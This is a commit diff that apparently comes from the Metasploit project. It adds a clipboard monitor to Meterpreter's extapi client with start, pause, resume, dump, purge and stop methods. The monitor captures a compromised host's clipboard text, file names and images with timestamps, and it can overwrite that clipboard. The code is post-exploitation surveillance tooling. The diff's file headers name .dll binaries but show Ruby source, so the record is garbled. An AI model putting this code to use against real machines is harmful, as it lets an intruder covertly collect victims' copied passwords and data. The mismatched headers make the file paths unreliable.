Land rapid7#2930 - clipboard monitor for meterpreter

Author: wchen-r7

data/meterpreter/ext_server_extapi.x64.dll

@@ -19,11 +19,11 @@ def initialize(client)
     @client = client
   end
 
+  #
   # Get the target clipboard data in whichever format we can
   # (if it's supported).
+  #
   def get_data(download = false)
-    results = []
-
     request = Packet.create_request('extapi_clipboard_get_data')
 
     if download
@@ -32,57 +32,136 @@ def get_data(download = false)
 
     response = client.send_request(request)
 
-    text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
+    return parse_dump(response)
+  end
 
-    if text
-      results << {
-        :type => :text,
-        :data => text
-      }
+  #
+  # Set the target clipboard data to a text value
+  #
+  def set_text(text)
+    request = Packet.create_request('extapi_clipboard_set_data')
+
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)
+
+    response = client.send_request(request)
+
+    return true
+  end
+
+  #
+  # Start the clipboard monitor if it hasn't been started.
+  #
+  def monitor_start(opts)
+    request = Packet.create_request('extapi_clipboard_monitor_start')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
+    return client.send_request(request)
+  end
+
+  #
+  # Pause the clipboard monitor if it's running.
+  #
+  def monitor_pause
+    request = Packet.create_request('extapi_clipboard_monitor_pause')
+    return client.send_request(request)
+  end
+
+  #
+  # Dump the conents of the clipboard monitor to the local machine.
+  #
+  def monitor_dump(opts)
+    pull_img = opts[:include_images]
+    purge = opts[:purge]
+    purge = true if purge.nil?
+
+    request = Packet.create_request('extapi_clipboard_monitor_dump')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
+
+    response = client.send_request(request)
+
+    return parse_dump(response)
+  end
+
+  #
+  # Resume the clipboard monitor if it has been paused.
+  #
+  def monitor_resume
+    request = Packet.create_request('extapi_clipboard_monitor_resume')
+    return client.send_request(request)
+  end
+
+  #
+  # Purge the contents of the clipboard capture without downloading.
+  #
+  def monitor_purge
+    request = Packet.create_request('extapi_clipboard_monitor_purge')
+    return client.send_request(request)
+  end
+
+  #
+  # Stop the clipboard monitor and dump optionally it's contents.
+  #
+  def monitor_stop(opts)
+    dump = opts[:dump]
+    pull_img = opts[:include_images]
+
+    request = Packet.create_request('extapi_clipboard_monitor_stop')
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
+    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
+
+    response = client.send_request(request)
+    unless dump
+      return response
+    end
+
+    return parse_dump(response)
+  end
+
+  attr_accessor :client
+
+private
+
+  def parse_dump(response)
+    result = {}
+
+    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
+      ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+      result[ts] ||= {}
+
+      # fat chance of someone adding two different bits of text to the
+      # clipboard at the same time
+      result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
     end
 
-    files = []
-    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
-      files << {
+    response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
+      ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+      result[ts] ||= {}
+      result[ts]['Files'] ||= []
+      result[ts]['Files'] << {
         :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
         :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
       }
-    }
-
-    if files.length > 0
-      results << {
-        :type => :files,
-        :data => files
-      }
     end
 
     response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
       if jpg
-        results << {
-          :type   => :jpg,
+        ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+        result[ts] ||= {}
+
+        # same story with images, there's no way more than one can come
+        # through on the same timestamp with differences
+        result[ts]['Image'] = {
           :width  => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
           :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
           :data   => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
         }
       end
     end
 
-    return results
-  end
-
-  # Set the target clipboard data to a text value
-  def set_text(text)
-    request = Packet.create_request('extapi_clipboard_set_data')
-
-    request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)
-
-    response = client.send_request(request)
-
-    return true
+    return result
   end
 
-  attr_accessor :client
-
 end
 
 end; end; end; end; end; end

data/meterpreter/ext_server_extapi.x86.dll

@@ -30,7 +30,11 @@ module Extapi
 
 TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
 
-TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
+
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
+
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE            = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME       = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE       = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
@@ -40,6 +44,11 @@ module Extapi
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
 TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
 
+TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA     = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
+TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
+TLV_TYPE_EXT_CLIPBOARD_MON_DUMP             = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
+TLV_TYPE_EXT_CLIPBOARD_MON_PURGE            = TLV_META_TYPE_BOOL   | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
+
 TLV_TYPE_EXT_ADSI_DOMAIN                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
 TLV_TYPE_EXT_ADSI_FILTER                    = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
 TLV_TYPE_EXT_ADSI_FIELD                     = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)